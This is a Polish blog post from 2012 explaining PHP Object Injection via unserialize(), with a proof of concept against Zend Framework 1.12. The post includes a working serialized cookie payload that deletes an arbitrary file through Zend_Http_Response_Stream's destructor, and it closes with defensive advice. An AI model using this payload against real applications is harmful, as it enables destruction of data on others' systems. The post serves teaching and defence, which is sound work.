Wednesday, December 5, 2012

PHP: niebezpieczeństwa związane z funkcją unserialize, czyli PHP Object Injection

Wstęp

Pisząc jakąkolwiek aplikację, jedną z podstawowych zasad których programista musi się trzymać to nie ufać danym wprowadzanych przez użytkowników. Odejście od tej zasady może prowadzić do bardzo poważnych konsekwencji w postaci wielu różnych typów błędów bezpieczeństwa w aplikacji.

W przypadku PHP i jego unserialize czasami programista może tą zasadę zwyczajnie przeoczyć, bo w końcu co złego się może stać podczas procesu deserializacji danych.

Przede wszystkim serializować możemy prawie wszystko, poza typami resource. Jak możemy przeczytać w manualu w przypadku serializowania obiektów, PHP przed samą serializacją spróbuje wywołać metodę __sleep() na obiekcie, i analogicznie __wakeup() po deserializowaniu. (przeznaczenie tych metod - link)

Oto przykład demonstrujący cykl wywołań wyżej wspomnianych metod:

class Klasa {
        public function __construct() {
                echo '->__construct()'.PHP_EOL;
        }

        public function __destruct() {
                echo '->__destruct()'.PHP_EOL;
        }

        public function __sleep() {
                echo '->__sleep()'.PHP_EOL;
                return array();
        }

        public function __wakeup() {
                echo '->__wakeup()'.PHP_EOL;
        }
}

/* operacje */
$obiekt1 = new Klasa( );
echo 'Przed serialize()'.PHP_EOL;
$str = serialize( $obiekt1 );
unset($obiekt1);
echo 'Przed unserialize()'.PHP_EOL;
$obiekt2 = unserialize( $str );
echo 'Koniec'.PHP_EOL;
Oto wynik działania tego prostego skryptu:
redeemer@lurker:~$ php test.php
->__construct()
Przed serialize()
->__sleep()
->__destruct()
Przed unserialize()
->__wakeup()
Koniec
->__destruct()

Załóżmy teraz, że wartość argumentu do funkcji unserialize jest przekazywana prosto przez przeglądarkę użytkownika (np. za pomocą metod GET, POST, za pomocą cookies, itd.). Umożliwia to takie stworzenie ciągu, w skutek którego powstanie obiekt dowolnej klasy dostępnej w obrębie aplikacji. Obiekt taki w pewnym momencie (np. przez koniec okresu życia zmiennej, lub zakończenie skryptu) zostanie zniszczony, więc zostanie wywołany jego destruktor. Jako że wszystkie własności klasy (nawet prywatne!) możemy "zakodować" w ciągu zserializowanym to wystarczy teraz znaleźć odpowiednią klasę w aplikacji, która posiada interesujący z punktu widzenia użyszkodnika destruktor lub metodę __wakeup i mamy dziurę w aplikacji.

Przykłady wykorzystania

Jako przykład wykorzystania niefiltrowanych danych jako argumentu funkcji unserialize wykorzystajmy aplikację opartą o Zend Framework 1.12, w której w którymś miejscu programista zrobił tak:
...
$something = unserialize( $_COOKIE['someCookie'] );
...
Aplikacja taka może mieć własne klasy, które mogą zawierać "ciekawe" definicje destruktorów i metod __wakeup, jednak my skorzystamy z klas pochodzących bezpośrednio z frameworka zend. Jeśli przyjrzymy się bliżej destruktorowi klasy Zend_Http_Response_Stream zobaczymy:
    public function __destruct()
    {
        if(is_resource($this->stream)) {
            fclose($this->stream);
            $this->stream = null;
        }
        if($this->_cleanup) {
            @unlink($this->stream_name);
        }
    }
Jasno i wyraźnie tutaj widać, że poprzez manipulację ciągiem (a konkretniej własnościami _cleanup i stream_name) który będzie deserializowany, możemy wykasować dowolny plik (jeżeli jego prawa dostępu nam na to pozwolą).

Za niecny cel postawimy więc wykasować plik o ścieżce /tmp/unserialize.test.file. Na początku sprawdźmy jak wygląda interesujący nas ciąg. W tym celu utworzymy obiekt Zend_Http_Response_Stream, wypełnimy interesujące nas jego własności i na końcu go zserializujemy.
...
$o = new Zend_Http_Response_Stream('x',array());
$o->setStreamName('/tmp/unserialize.test.file');
$o->setCleanUp( true );

$serialized = serialize($o);

// na ekran
var_dump($serialized);

// do pliku
$f = fopen('/tmp/zend_http_response_stream_serialized','w');
fwrite($f, $serialized);
fclose($f);
exit();
Warto tutaj zwrócić uwagę że własności prywatne w ciągu zserializowanym są poprzedzone 3 bajtowym prefixem (nullbyte gwiazdka nullbyte, szesnastkowo \x00\x2a\x00):
00000000   4F 3A 32 35 3A 22 5A 65 6E 64 5F 48 74 74 70 5F   O:25:"Zend_Http_
00000010   52 65 73 70 6F 6E 73 65 5F 53 74 72 65 61 6D 22   Response_Stream"
00000020   3A 38 3A 7B 73 3A 39 3A 22 00 2A 00 73 74 72 65   :8:{s:9:".*.stre
00000030   61 6D 22 3B 4E 3B 73 3A 31 34 3A 22 00 2A 00 73   am";N;s:14:".*.s
00000040   74 72 65 61 6D 5F 6E 61 6D 65 22 3B 73 3A 32 36   tream_name";s:26
00000050   3A 22 2F 74 6D 70 2F 75 6E 73 65 72 69 61 6C 69   :"/tmp/unseriali
00000060   7A 65 2E 74 65 73 74 2E 66 69 6C 65 22 3B 73 3A   ze.test.file";s:
00000070   31 31 3A 22 00 2A 00 5F 63 6C 65 61 6E 75 70 22   11:".*._cleanup"
00000080   3B 62 3A 31 3B 73 3A 31 30 3A 22 00 2A 00 76 65   ;b:1;s:10:".*.ve
00000090   72 73 69 6F 6E 22 3B 73 3A 33 3A 22 31 2E 31 22   rsion";s:3:"1.1"
000000A0   3B 73 3A 37 3A 22 00 2A 00 63 6F 64 65 22 3B 73   ;s:7:".*.code";s
000000B0   3A 31 3A 22 78 22 3B 73 3A 31 30 3A 22 00 2A 00   :1:"x";s:10:".*.
000000C0   6D 65 73 73 61 67 65 22 3B 73 3A 37 3A 22 55 6E   message";s:7:"Un
000000D0   6B 6E 6F 77 6E 22 3B 73 3A 31 30 3A 22 00 2A 00   known";s:10:".*.
000000E0   68 65 61 64 65 72 73 22 3B 61 3A 30 3A 7B 7D 73   headers";a:0:{}s
000000F0   3A 37 3A 22 00 2A 00 62 6F 64 79 22 3B 4E 3B 7D   :7:".*.body";N;}
Oto więc przykład takiego ciągu zserializowanego, który poprzesz umieszczenie go w ciastku o nazwie 'someCookie' skasuje nam plik /tmp/unserialize.test.file:
O:25:"Zend_Http_Response_Stream":8:{s:9:"*stream";N;s:14:"*stream_name";s:26:"/tmp/unserialize.test.file";s:11:"*_cleanup";b:1;s:10:"*version";s:3:"1.1";s:7:"*code";s:1:"x";s:10:"*message";s:7:"Unknown";s:10:"*headers";a:0:{}s:7:"*body";N;}

Bardziej zaawansowany przykład w wyniku którego będziemy mogli wykonać kod PHP, z użyciem paru klas jednocześnie (Zend_Log, Zend_Log_Writer_Mail, Zend_Layout i Zend_Filter_PregReplace) znajdziemy w advisory SektionEins odnośnie błędu w PHPIDS

Zabezpieczenia

Przede wszystkim powinniśmy walidować wszystko co pochodzi od użytkownika. Jeżeli serializujemy tablicę, przy deserializacji sprawdźmy czy faktycznie ciąg przedstawiający dane zserializowane przedstawia tablicę. Pamiętajmy jednak, że walidacja musi być przeprowadzona poprawnie! Niedawno przekonali się o tym twórcy Invision Power Board (w skrócie: ich walidator sprawdzał czy ma do czynienia z obiektem czy z tablicą, jednak już tablica obiektów przechodziła walidację).

PrestaShop używa takiego wyrażenia regularnego do walidacji ciągów zserializowanych (classes/Tools.php):
public static function unSerialize($serialized, $object = false)
{
 if (is_string($serialized) && (strpos($serialized, 'O:') === false || !preg_match('/(^|;|{|})O:[0-9]+:"/', $serialized)) && !$object || $object)
  return @unserialize($serialized);

 return false;
}

Możemy się też zastanowić czy faktycznie musimy korzystać z serialize/unserialize w przypadku danych pochodzących od użytkownika (może wystarczy json?).

Przypomnę również, że w ciągu reprezentującym obiekt przed nazwami własności prywatnych występuje 3 bajtowy prefix (w tym 2 nullbyte). Na szybko można zainstalować Suhosin patch, który spowoduje, że nie będzie możliwości przekazania nullbyte do zmiennych superglobalnych reprezentujących dane od użytkownika ($_GET, $_POST, $_COOKIE). O ile klasy są dobrze zaprojektowane, może to użyszkodnikowi ograniczyć ilość potencjalnych klas do wykorzystania ze względu na niemożliwość ustawienia własnych wartości własności prywatnych w ciągu zserializowanym.